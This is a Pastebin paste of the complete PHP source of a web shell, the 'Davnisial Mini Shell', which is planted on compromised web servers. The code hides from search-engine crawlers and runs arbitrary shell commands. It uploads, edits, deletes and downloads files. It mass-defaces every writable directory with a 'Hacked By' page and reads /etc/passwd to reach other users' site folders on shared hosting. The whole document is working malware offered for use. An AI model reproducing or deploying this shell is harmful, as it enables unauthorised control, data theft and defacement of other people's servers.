Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $auth_pass = "d489a3289ecdc847cb67f7a480e6f9fa"; // default: kontol
- session_start();
- error_reporting(0);
- set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @clearstatcache();
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- function login_shell() {
- ?>
- <html>
- <body><body> <script> alert(' Silahkan Login Terlebih Dahulu ^_^ ') </script></body>
- <head>
- <title>DavnisiaL</title>
- <link href='http://guegans.ga/waifu.jpg' rel='icon' type='image/x-icon'/>
- <style type="text/css">
- body {
- background-color: #000000;
- background-image: url(http://guegans.ga/linux.jpg);
- <!--http://guegans.ga/linux.jpg-->
- margin-left: 0px;
- margin-top: 0px;
- margin-right: 0px;
- margin-bottom: 0px;
- background-position:right top;
- background-repeat:no-repeat;
- background-size:100%
- }
- html {
- background:#387c6c;
- -webkit-background-size: cover;
- -moz-background-size: cover;
- -o-background-size: cover;
- background-size: cover;
- }
- html,body{margin:0;padding:0;height:100%;font:10px Arial;}
- #wrapper{min-height:100%;position:relative;}
- #header{background:#ff0000;padding:5px;height:50px;color:#3000ff;}
- #body{padding-bottom:40px;padding-left:10px;}
- #footer{background:#ff0000;position:absolute;bottom:0;width:100%;
- text-align:center;color:#408080;}
- header {
- color: ;
- margin: 10px auto;
- }
- </style>
- </head>
- <center>
- <font face="monospace" size='3' color='cyan'><br>
- <header>
- <pre>
- </pre>
- </header>
- <br><br><br><br><br><br><br><br>
- <fieldset>
- <label for="login">Username</label>
- <form method="post">
- <input type="text" name="id" value="Davnisial">
- </form>
- Password
- <form method="post">
- <input type="password" name="pass"> <br><br>
- <input type="submit" value="Login">
- </fieldset>
- </form>
- <style>
- </style>
- </head>
- <body>
- </font>
- </body>
- </head>
- <table border="0" cellspacing="1" cellpadding="4" class="tborder"><tr><td class="thead"><strong></strong></td></tr><tr><td class="trow1"></a></td></tr></table><br />
- <table border="0" cellspacing="1" cellpadding="4" class="tborder">
- <tbody><tr>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login_shell();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- <!DOCTYPE HTML>
- <html lang="en" class="no-js">
- <HEAD>
- <title>Davnisial Mini</title>
- <link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
- <link href="http://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
- <link href="http://fonts.googleapis.com/css?family=Homenaje" rel="stylesheet" type="text/css">
- <link rel="shortcut icon" href="https://defacer.id/img/favicon.png" type="image/x-icon">
- <meta name='author' content='Copyright 2018'>
- <meta charset="UTF-8">
- <style type="text/css">
- body {
- background: url("http://guegans.ga/linux.jpg");
- color: #383838;
- font-family :Homenaje;
- }
- hr {
- border:0;
- height:1px;
- background-image:linear-gradient(to right,rgba(0,0,0,0),rgb(255, 0, 0),rgba(0,0,0,0))
- }
- #content .first{
- background-color: #060606;
- }
- a{
- color: #fff;
- text-decoration: none;
- }
- a:hover{
- color:white;
- }
- input,select,textarea{
- border: 1px #000000 solid;
- -moz-border-radius: 4px;
- -webkit-border-radius:4px;
- border-radius:4px;
- }
- #menu{
- margin:9px 3px 4px 2px;
- }
- #menu a{
- padding:4px 19px;
- margin:0;
- background:#515151;
- text-decoration:none;
- letter-spacing:2px;
- -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
- }
- #menu a:hover{
- background:#fff;
- border-bottom:1px solid #333333;
- border-top:1px solid #333333;
- }
- .tombolup{
- background:black;
- color:red;
- margin:0 5px;
- font-family:iceland;
- font-size:16px;
- border:2px solid red;
- }
- .tombolup:hover{
- background:black;
- color:red;
- margin:0 5px;
- font-family:iceland;
- font-size:16px;
- border:2px solid #fff;
- }
- .bordergaya{
- background:black;
- color:red;
- margin:0 5x;
- font-family:iceland;
- font-size:16px;
- border:2px solid #191919;
- }
- .bordergaya:hover{
- background:black;
- border:2px solid #fff;
- }
- .borderaja{
- background:black;
- color:red;
- margin:0 5px;
- font-family:iceland;
- font-size:16px;
- border:2px solid #fff;
- }
- </style>
- </head>
- <body>
- <center>
- <?php
- set_time_limit(0);
- error_reporting(0);
- if(get_magic_quotes_gpc()){
- foreach($_POST as $key=>$value){
- $_POST[$key] = stripslashes($value);
- }
- }
- /////////////info server//////////////
- $self=$_SERVER['PHP_SELF'];
- $server_sof=$_SERVER['SERVER_SOFTWARE'];
- $your_ip=$_SERVER['REMOTE_ADDR'];
- $server_ip=gethostbyname($_SERVER['HTTP_HOST']);
- $admin=$_SERVER['SERVER_ADMIN'];
- $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- /////////////All Functions/////////////
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- /////////////Permission CWD/////////////////
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function getfile($urlfile, $content) {
- $fp = fopen($content, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $urlfile);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- /////////////CSS input////////////////
- echo '<style>
- .js .inputfile {
- width: 0.1px;
- height: 0.1px;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- z-index: -1;
- }
- .inputfile + label {
- max-width: 80%;
- font-size: 1.25rem;
- /* 20px */
- font-weight: 700;
- text-overflow: ellipsis;
- white-space: nowrap;
- cursor: pointer;
- display: inline-block;
- overflow: hidden;
- padding: 0.625rem 1.25rem;
- /* 10px 20px */
- }
- .no-js .inputfile + label {
- display: none;
- }
- .inputfile:focus + label,
- .inputfile.has-focus + label {
- outline: 1px dotted #000;
- outline: -webkit-focus-ring-color auto 5px;
- }
- .inputfile + label * {
- /* pointer-events: none; */
- /* in case of FastClick lib use */
- }
- .inputfile + label svg {
- width: 1em;
- height: 1em;
- vertical-align: middle;
- fill: currentColor;
- margin-top: -0.25em;
- /* 4px */
- margin-right: 0.25em;
- /* 4px */
- }
- /* style 4 */
- .inputfile-4 + label {
- color: red;
- font-family:Homenaje;
- font-size:15px;
- }
- .inputfile-4:focus + label,
- .inputfile-4.has-focus + label,
- .inputfile-4 + label:hover {
- color: crimson;
- }
- .inputfile-4 + label figure {
- width: 50px;
- height: 50px;
- border-radius: 25%;
- background-color: crimson;
- display: block;
- padding: 10px;
- margin: 0 auto 10px;
- }
- .inputfile-4:focus + label figure,
- .inputfile-4.has-focus + label figure,
- .inputfile-4 + label:hover figure {
- background-color: red;
- }
- .inputfile-4 + label svg {
- width: 100%;
- height: 100%;
- fill: black;
- }
- .jumpe{
- text-align: left;
- font-size: 16px;
- color: springgreen;
- font-family: Homenaje;
- margin-left: 38%;
- }
- .kecew{
- text-align: left;
- font-size: 15px;
- color: red;
- font-family: Homenaje;
- }
- </style>
- <script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script>
- ';
- ////////////////Halaman Utama//////////////////
- echo "<hr width=50%>";
- echo "<br><font color='red' size='7px''>Davnisial Mini Shell</font><br>";
- echo '<br/><font size="5" color="Red">
- <tr><td> Current Path : ';
- ////////////////////////CWD //////////////////////
- if(isset($_GET['path'])){
- $path = $_GET['path'];
- }else{
- $path = getcwd();
- }
- $path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?path=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?path=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo '</font><br>';
- ?>
- <!-- Menu Tools -->
- <hr width=50%>
- <center><div id="menu">
- <a href="?"><font color="red">Home</font></a>
- <a href="?<?php echo "path=".$path; ?>&x=upload"><font color="red">Upload</font></a>
- <a href="?<?php echo "path=".$path; ?>&x=cmd"><font color="red">Command</font></a>
- <a href="?<?php echo "path=".$path; ?>&x=massde"><font color="red">Mass Deface</font></a>
- <a href="?<?php echo "path=".$path; ?>&x=jumping"><font color="red">Jumping</font></a>
- </div>
- <hr width=50%>
- </center>
- <?php
- //////////////////////////////////Lihat File///////////////////////////////
- if(isset($_GET['filesrc'])){
- echo "<br /><tr><td>Your Current DIR : ";
- echo $_GET['filesrc'];
- echo '</tr></td></table>';
- echo('<br /><br /><textarea class="bordergaya" cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea><br><br><br>');
- break;
- }
- //////////////////////////////////Permission///////////////////////////////
- elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
- echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
- if($_POST['opt'] == 'chmod'){
- if(isset($_POST['perm'])){
- if(chmod($_POST['path'],$_POST['perm'])){
- echo '<br><font color=lime>Change Permission Sukses!</font>';
- }else{
- echo '<br><font color=red>Change Permission Gagal!</font>';
- }
- }
- echo '<br><br><br><form method="POST">
- Permission : <input name="perm" class="bordergaya" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="chmod">
- <input class="bordergaya" type="submit" value="Go" />
- </form>';
- }elseif($_POST['opt'] == 'rename'){
- if(isset($_POST['newname'])){
- if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
- echo '<br><font color=lime>Change Name Sukses!</font>';
- }else{
- echo '<br><font color=red>Change Name Gagal!</font>';
- }
- $_POST['name'] = $_POST['newname'];
- }
- echo '<br><br><br><form method="POST">
- New Name : <input class="bordergaya" name="newname" type="text" size="20" value="'.$_POST['name'].'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="rename">
- <input class="bordergaya" type="submit" value="Go" />
- </form>';
- }elseif($_POST['opt'] == 'edit'){
- if(isset($_POST['src'])){
- $fp = fopen($_POST['path'],'w');
- if(fwrite($fp,$_POST['src'])){
- echo '<br><font color=lime>Edit File Sukses!</font><br>';
- }else{
- echo '<br><font color=red>Edit File Gagal!</font><br>';
- }
- fclose($fp);
- }
- echo '<form method="POST">
- <textarea class="bordergaya" cols=90 rows=25 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="edit">
- <input class="bordergaya" type="submit" value="Save" />
- </form><br><br><br>';
- }
- echo '</center>';
- break;
- }
- ///////////////////////////////Mass Deface////////////////////////////////
- elseif(isset($_GET['x']) && ($_GET['x'] == 'massde'))
- {
- ?></center></center>
- <style type="text/css">
- .ketengah{
- text-align: left;
- font-size: 16px;
- color: orange;
- font-family: Homenaje;
- margin-left: 30%;
- </style>
- <?php
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "<br><br><center>[<font color=lime>DONE</font>] <font color=red>$lokasi</font><br></center>";
- file_put_contents($lokasi, $isi_script);
- $f0xbase = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- } else {
- echo "<center>";
- echo "<form method='post'><br><br>
- <table>
- <tr>
- <td><font style='text-decoration: none; margin-left:10px;'>Folder</font></td>
- <td align='center'>:</td>
- <td><input class='borderaja' type='text' name='d_dir' value='$path' style='width: 95%;' height='10'><br></td>
- </tr>
- <tr>
- <td><font style='text-decoration: none; margin-left:10px;'>Filename</font></td>
- <td align='center'>:</td>
- <td><input class='borderaja' type='text' name='d_file' value='msg.htm' style='width: 95%;' height='10'><br></td>
- </tr>
- <tr>
- <td colspan='3' align='center'><font style='text-decoration: none;'>Script Deface : </font><br></td>
- </tr>
- <tr>
- <td colspan='3'><textarea class='borderaja' name='script' style='width: 500px; height: 200px;'>Hacked By Davnisial</textarea><br></td>
- </tr>
- <tr>
- <td colspan='3' align='center'><input class='borderaja' type='submit' name='start' value='Mass Deface' style='width: 500px;'><br/></td>
- </tr>
- </table><br>
- </form></center><br/>";
- }break;?><center><center>
- <?php
- }
- //////////////////////////////////Upload File//////////////////////////////////////
- elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')) {
- echo "<div id='nav'>";
- echo '<br><br>
- <form enctype="multipart/form-data" method="POST">
- <font color=red>Upload File : <br><br><br>
- <input class="bordergaya" type="file" name="file" />
- <input class="bordergaya" type="submit" value="Upload" />
- </form></font>
- </td></tr>';
- echo '<br></td></tr><tr><td>';
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
- echo '<font color="lime">Berhasil Upload File </font><br/>';
- }else{
- echo '<font color="red">Gagal Upload File :( .</font><br/>';
- }
- }
- }
- //////////////////////////////////CMD//////////////////////////////////////
- elseif(isset($_GET['x']) && ($_GET['x'] == 'cmd')) {
- echo "<br/><br/><form method='post'>
- <font clss='jumpe'>Command :</font>
- <input class='bordergaya' type='text' size='30' height='10' name='cmd'><input type='submit' class='bordergaya' name='execmd' value=' >> '>
- </form>";
- if($_POST['execmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
- }
- ///////////////////////////////JUMPING////////////////////////////////////
- elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){
- ?>
- <form action="?path=<?php echo $pwd; ?>&x=jumping" method="post">
- <?php
- //radable public_html
- ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
- set_time_limit(0);
- ###################
- @$passwd = fopen('/etc/passwd','r');
- if (!$passwd) { die('<br><br><br><font color=red> Coudn`t Read /etc/passwd</font>'); }
- $pub = array();
- $users = array();
- $conf = array();
- $i = 0;
- while(!feof($passwd))
- {
- $str = fgets($passwd);
- if ($i > 35)
- {
- $pos = strpos($str,':');
- $username = substr($str,0,$pos);
- $dirz = '/home/'.$username.'/public_html/';
- if (($username != ''))
- {
- if (is_readable($dirz))
- {
- array_push($users,$username);
- array_push($pub,$dirz);
- }
- }
- }
- $i++;
- }
- ###################
- echo '<br><br></center></center>';
- echo "<font class='jumpe'>[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br /></font>";
- echo "<font class='jumpe'>[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /></font>";
- echo "<font class='jumpe'>[~] Searching for passwords in config files...<br /><br /></font>";
- foreach ($users as $user)
- {
- $path = "/home/$user/public_html/";
- echo "<font class='jumpe'><a href='?path=$path' target='_blank' font-weight:bold; color:#F80;'>$path</a><br></font>";
- }
- echo "<br /><font class='jumpe'>[+] Complete...\n"."<br /></font>";
- echo "<font class='jumpe'>[+] Monggo Sikat Boz!\n"."<br /></font>";
- echo '<br><br></b></body><center>';
- }
- else{
- echo '</table><br />';
- ////////////////////File Manager///////////////////////////////////////////
- echo "<center>";
- if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
- if($_POST['type'] == 'dir'){
- if(rmdir($_POST['path'])){
- echo '<script>alert("Delete Dir Sukses!");</script>';
- }else{
- echo '<script>alert("Delete Dir Gagal!");</script>';
- }
- }elseif($_POST['type'] == 'file'){
- if(unlink($_POST['path'])){
- echo '<script>alert("Delete File Sukses!");</script>';
- }else{
- echo '<script>alert("Delete File Gagal!");</script>';
- }
- }
- }
- echo '</center>';
- $scandir = scandir($path);
- echo '<div id="content"><table width="700" border="0" cellpadding="4" cellspacing="1" align="center">
- <tr class="first">
- <td><center><font color="#fff">Name</center></td>
- <td><center><font color="#fff">Size</center></td>
- <td><center><font color="#fff">Permissions</center></td>
- <td><center><font color="#fff">Action</center></td>
- </tr>';
- foreach($scandir as $dir){
- if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
- echo "<tr>
- <td><a style='color:red; font-family:Homenaje;' href=\"?path=$path/$dir\">$dir</a></td>
- <td><center style='color:#17c8bf; font-family:Homenaje;'>--</center></td>
- <td><center>";
- if(is_writable("$path/$dir")) echo "<font style='color:lime; font-family:Homenaje;'>";
- elseif(!is_readable("$path/$dir")) echo "<font style='color:red; font-family:Homenaje;'>";
- echo perms("$path/$dir");
- if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
- echo "</center></td>
- <td width='26%'><center><form method=\"POST\" action=\"?option&path=$path\">
- <select class='bordergaya' name=\"opt\">
- <option value=\"\">Select</option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"dir\">
- <input type=\"hidden\" name=\"name\" value=\"$dir\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
- <input class='bordergaya' type=\"submit\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
- foreach($scandir as $file){
- if(!is_file("$path/$file")) continue;
- $size = filesize("$path/$file")/1024;
- $size = round($size,3);
- if($size >= 1024){
- $size = round($size/1024,2).' MB';
- }else{
- $size = $size.' KB';
- }
- echo "<tr>
- <td><a style='color:red; font-family:Homenaje;' href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
- <td><center style='color:#17c8bf; font-family:Homenaje;'>".$size."</center></td>
- <td><center>";
- if(is_writable("$path/$file")) echo "<font style='color:lime; font-family:Homenaje;'>";
- elseif(!is_readable("$path/$file")) echo "<font style='color:red; font-family:Homenaje;'>";
- echo perms("$path/$file");
- if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
- echo "</center></td>
- <td width='26%'><center><form method=\"POST\" action=\"?option&path=$path\">
- <select class='bordergaya' name=\"opt\">
- <option value=\"\">Select</option>
- <option value=\"delete\">Delete</option>
- <option value=\"chmod\">Chmod</option>
- <option value=\"rename\">Rename</option>
- <option value=\"edit\">Edit</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"file\">
- <input type=\"hidden\" name=\"name\" value=\"$file\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
- <input class='bordergaya' type=\"submit\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- echo '</table>
- </div>';
- }
- echo "<br/><hr width=50%><center><font color=red>Copyright © ".date("Y")." - </font>
- <a href='http://google.com/' target='_blank'><font color=teal>Davnisial</font></a></center>";
- ?>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement